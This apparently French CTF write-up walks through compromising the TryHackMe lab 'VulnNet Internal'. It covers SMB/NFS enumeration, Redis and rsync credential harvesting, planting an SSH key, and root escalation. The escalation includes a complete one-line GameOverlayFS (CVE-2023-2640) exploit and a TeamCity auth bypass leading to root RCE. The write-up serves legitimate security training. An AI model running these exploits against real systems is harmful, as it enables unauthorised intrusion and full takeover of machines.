Post

VulnNet Internal - TryHackMe(Easy)

VulnNet Entertainment est une entreprise qui apprend de ses erreurs. Elle s'est rapidement rendu compte qu'elle ne pouvait pas créer une application web correctement sécurisée et a donc abandonné cette idée. Au lieu de cela, elle a décidé de mettre en place des services internes à des fins professionnelles. Comme d'habitude, vous êtes chargé d'effectuer un test de pénétration de leur réseau et de rendre compte de vos conclusions.

Reconnaissance

Pour commencer nous lançons un rapide scan nmap initial pour voir quels ports sont ouverts.

1
2
3
4
5
6
7
8
└─# rustscan --ulimit 5000 -b 1000 -n -a 10.10.220.246
Host is up, received timestamp-reply ttl 61 (0.65s latency).
Scanned at 2024-05-17 15:42:32 EDT for 1s

PORT    STATE SERVICE     REASON
22/tcp  open  ssh         syn-ack ttl 61
111/tcp open  rpcbind     syn-ack ttl 61
139/tcp open  netbios-ssn syn-ack ttl 61

Nous utilisons enum4linux pour obtenir des informations détaillées.

1
└─# enum4linux -a 10.10.220.246

enum4linux

Ensuite, nous accédons au partage de Shares.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─# smbclient //10.10.220.246/shares -N
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Tue Feb  2 04:20:09 2021
  ..                                  D        0  Tue Feb  2 04:28:11 2021
  temp                                D        0  Sat Feb  6 06:45:10 2021
  data                                D        0  Tue Feb  2 04:27:33 2021

                11309648 blocks of size 1024. 3278712 blocks available
smb: \> cd data
smb: \data\> dir
  .                                   D        0  Tue Feb  2 04:27:33 2021
  ..                                  D        0  Tue Feb  2 04:20:09 2021
  data.txt                            N       48  Tue Feb  2 04:21:18 2021
  business-req.txt                    N      190  Tue Feb  2 04:27:33 2021


  • Pour le port 111 j’utilise l’outil showmount pour trouver des informations sur le server NFS
    1
    2
    3
    
    ─# showmount -e 10.10.220.246
    Export list for 10.10.220.246:
    /opt/conf *
    

    Ok donc la je vais monter ce partage NFS que je viens de trouver.

1
2
3
4
5
6
7
└─# mount -o nolock 10.10.220.246:/opt/conf mnt 
# ls mnt 
hp  init  opt  profile.d  redis  vim  wildmidi
                                                                                                                                     
┌──(root㉿bloman)-[/home/bloman/CTFs/TryHackMe]
└─# ls mnt/redis
redis.conf

Nous trouvons une configuration redis.conf contenant un mot de passe.

1
2
3
4
5
6
7
#
# 2) if slave-serve-stale-data is set to 'no' the slave will reply with
#    an error "SYNC with master in progress" to all the kind of commands
#    but to INFO and SLAVEOF.
#
slave-serve-stale-data yes
requirepass "B65Hx562F@ggAZ@F"

Nous vérifions si le service Redis est ouvert avec netcat.

1
2
─# nc -nv 10.10.220.246 6379
(UNKNOWN) [10.10.220.246] 6379 (redis) open

Maintenant je vais utiliser l’outil redis-cli pour m’y connecter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
─# redis-cli -h 10.10.220.246 --pass 'B65Hx562F@ggAZ@F'
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
10.10.220.246:6379> INFO
# Server
redis_version:4.0.9
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:9435c3c2879311f3
redis_mode:standalone
os:Linux 4.15.0-135-generic x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:7.4.0
process_id:489
run_id:94d8fdcc6c56026d36bd87180f925f9ca616ba31
tcp_port:6379
uptime_in_seconds:1653
uptime_in_days:0
hz:10
lru_clock:4700236
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf

Je vais verifier l’emplacement des données de Redis sur ce Server.

1
2
3
10.10.220.246:6379> config get dir
1) "dir"
2) "/var/lib/redis"

Nous utilisons les commandes Redis pour trouver et lire les clés internes. j’ai laisser le lien dans la Reference

1
2
3
4
5
6
7
8
9
10
10.10.220.246:6379> KEYS *
1) "int"
2) "tmp"
3) "internal flag"
4) "authlist"
5) "marketlist"
(0.65s)
10.10.220.246:6379> 
10.10.220.246:6379> GET "internal flag"
"THM{ff8e518addbbddb74531a724236a8221}"

Detail de ces commandes :

  • J’ai utiliser le parametre KEYS * pour Trouver toutes les clés disponible.
  • Ensuite le GET keyname pour lire le key
1
2
3
4
5
6
7
8
9
10
10.10.220.246:6379> LRANGE marketlist 1 3
1) "Penetration Testing"
2) "Programming"
3) "Data Analysis"
(0.65s)
10.10.220.246:6379> 
10.10.220.246:6379> LRANGE authlist 1 3
1) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
2) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
3) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
  • Ici j’utilise LRANGE key start stop pour Obtenir une plage d’éléments d’une liste

Je viens d’avoir un base64, donc je le decode dans le Terminal

1
2
3
# echo $base| base64 -d      
Authorization for rsync://rsync-connect@127.0.0.1 with password Hcg3HP67@TW@Bc72v
                                                                                   

on me renvoi dans un rsync et je vais utiliser l’outil rsync pour me connecter

1
2
3
# nc -nv 10.10.220.246 873 
(UNKNOWN) [10.10.220.246] 873 (rsync) open
@RSYNCD: 31.0

Nous utilisons rsync pour accéder aux fichiers.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# rsync --list-only rsync://rsync-connect@10.10.220.246/files
Password: 
drwxr-xr-x          4,096 2021/02/01 07:51:14 .
drwxr-xr-x          4,096 2021/02/06 07:49:29 sys-internal
drwxrwxr-x          4,096 2021/02/06 06:43:14 sys-internal/.ssh
drwx------          4,096 2021/02/02 06:16:16 sys-internal/.thumbnails
drwx------          4,096 2021/02/02 06:16:16 sys-internal/.thumbnails/large
drwx------          4,096 2021/02/02 06:16:18 sys-internal/.thumbnails/normal
-rw-------          8,437 2021/02/02 06:16:17 sys-internal/.thumbnails/normal/2b53c68a980e4c943d2853db2510acf6.png
-rw-------          6,345 2021/02/02 06:16:18 sys-internal/.thumbnails/normal/473aeca0657907b953403884c53d865c.png
-rw-------            978 2021/02/02 06:16:18 sys-internal/.thumbnails/normal/539380d1cb60fcd744fd5094d314fdc1.png
drwx------          4,096 2021/02/01 07:53:21 sys-internal/Desktop
drwxr-xr-x          4,096 2021/02/01 07:53:22 sys-internal/Documents
drwxr-xr-x          4,096 2021/02/01 08:46:46 sys-internal/Downloads
drwxr-xr-x          4,096 2021/02/01 07:53:22 sys-internal/Music
drwxr-xr-x          4,096 2021/02/01 07:53:22 sys-internal/Pictures
drwxr-xr-x          4,096 2021/02/01 07:53:22 sys-internal/Public
drwxr-xr-x          4,096 2021/02/01 07:53:22 sys-internal/Templates
drwxr-xr-x          4,096 2021/02/01 07:53:22 sys-internal/Videos

sent 185 bytes  received 76,450 bytes  5,285.17 bytes/sec
total size is 41,708,382  speedup is 544.25

Ensuite, Nous synchronisons notre clé SSH avec le répertoire .sshdistant.

1
2
3
└─# cat /root/.ssh/id_rsa.pub > authorized_keys 
─# rsync authorized_keys rsync://rsync-connect@10.10.220.246/files/sys-internal/.ssh/
Password: 

je verifie pour voir si la cle ssh a ete bien mise en place

1
2
3
4
─# rsync --list-only rsync://rsync-connect@10.10.220.246/files/sys-internal/.ssh/
Password: 
drwxrwxr-x          4,096 2024/05/17 16:41:05 .
-rw-r--r--             22 2024/05/17 16:41:05 authorized_keys

ssh keys

Privilege Escalation

Pour aborder le Privilege Escalation, je vais explorer trois méthodes différentes sur cette machine Ubuntu 4.15.0 avec le système d’exploitation Ubuntu 18.04 LTS (Bionic Beaver).

Méthode 1: Exploitation de GameOverlayFs(CVE-2023-2640)

Un système est susceptible d’être vulnérable a cette vulnerabilite si la version du noyau est inférieure à 6.2. Alors que notre Machine est 4.15.0-135-generic donc exploitable.

Cette vulnérabilité affecte exclusivement les systèmes basés sur Linux. Le moyen le plus simple de vérifier si votre système est vulnérable est de voir quelle version du noyau Linux il utilise en exécutant la commande uname -r.

Tout d’abord je vais verifier si la version est inferieur a 6.2

1
2
sys-internal@vulnnet-internal:/home$ uname -r
4.15.0-135-generic

On a une version 4.15 donc vulnerable alors je vais essayer de l’exploiter

  • Pour cela, je me rends dans le /tmp et j’execute
1
2
sys-internal@vulnnet-internal:~$ cd /tmp
sys-internal@vulnnet-internal:/tmp$ unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash")'

Cela me permet d’obtenir un shell en tant que root.

1
2
3
4
5
6
7
8
root@vulnnet-internal:/tmp# id
uid=0(root) gid=1000(sys-internal) groups=1000(sys-internal),24(cdrom)
root@vulnnet-internal:/tmp# whoami
root
root@vulnnet-internal:/tmp# ls /root
root.txt
root@vulnnet-internal:/tmp# cat /root/root.txt
THM{e8996faea46df09dba5676dd271c60bd}

Méthode 2: Exploitation de pkexec(SUID)

En regardant Dans les SUID, il y a pkexec.

pkexec

  • Pour l’exploiter J’utilise un script Python3 disponible sur GitHub pour l’exploiter

exploit pkexec

Méthode 3: Exploitation de TeamCity

Enfin, je vais explorer l’exploitation d’un serveur TeamCity. En utilisant un exploit pour la vulnérabilité CVE-2024-27198 qui permet de contourner l’authentification sur TeamCity, j’obtiens des privilèges de super utilisateur en executant des commandes dans le serveur TeamCity.

Pour commencer, je vérifie les ports en cours d’exécution en arrière-plan sur la machine en utilisant la commande ss -tupln. J’identifie un port ouvert, le port 8111.

TeamCity

En recherchant sur Google, je confirme que ce port est utilisé par un serveur TeamCity

TeamCity

À partir de là, je configure le port forwarding pour accéder au serveur TeamCity depuis ma machine locale en utilisant la commande SSH suivante :

1
└─# ssh -L 8111:127.0.0.1:8111 sys-internal@10.10.245.63

Port Forward

Cela crée une liaison locale du port 8111 de ma machine vers le port 8111 du serveur distant. Après avoir établi cette connexion, je peux accéder au serveur TeamCity depuis mon navigateur en utilisant l’adresse 127.0.0.1:8111.

Login

On a une page de login sans avoir des identifiants et mot de passe. Donc la ce que je voudrais est de Contourner cette page et avoir les privileges de Super User

NOTE: En février 2024, l’équipe de recherche de Rapid7 a identifié deux nouvelles vulnérabilités affectant le serveur JetBrains TeamCity CI/CD dont le CVE-2024-27198 qui est une vulnérabilité de contournement(Bypass) d’authentification dans le composant web de TeamCity qui provient d’un problème de chemin alternatif (CWE-288) et a un score CVSS de base de 9.8 (Critique).

  • Pour Contourner cette page de Login, je vais utiliser cet exploit disponible sur Github

Poc

En lançant l’exploit, un utilisateur est créé avec les identifiants suivants :

  • Username: d9zkck4m
  • Password: 5FycViGMlO Ensuite, je me connecte avec ces identifiants.

Started

Obtention d’un RCE en tant que Root sur TeamCity

Pour obtenir un RCE (Remote Code Execution) en tant que rootsur TeamCity, je me suis appuyé sur un article intéressant de TeamCity qui explique comment exécuter des scripts en ligne de commande sur la plateforme.

Hacked TeamCity

Dans l’interface de TeamCity, je suis le processus indiqué dans l’article. Après avoir créé un nouveau projet, je passe à l’étape de configuration des étapes de construction.

Build TeamCity

Dans la configuration de l’étape de construction, je sélectionne l’option pour exécuter un script en ligne de commande.

Build Step

Lorsqu’on me demande de fournir un script, j’insère un script malveillant pour obtenir un shell root sur la machine.

Shell

Après avoir soumis le script et lancé le projet, je clique sur RUN pour démarrer l’exécution du script malveillant.

Run

Une fois le script exécuté avec succès, je reçois un shell en local en tant que root, ce qui me donne un RCE complet sur la machine.

root

Ressources supplementaires

Voici quelques ressources supplémentaires qui pourraient vous être utiles :

This post is licensed under CC BY 4.0 by the author.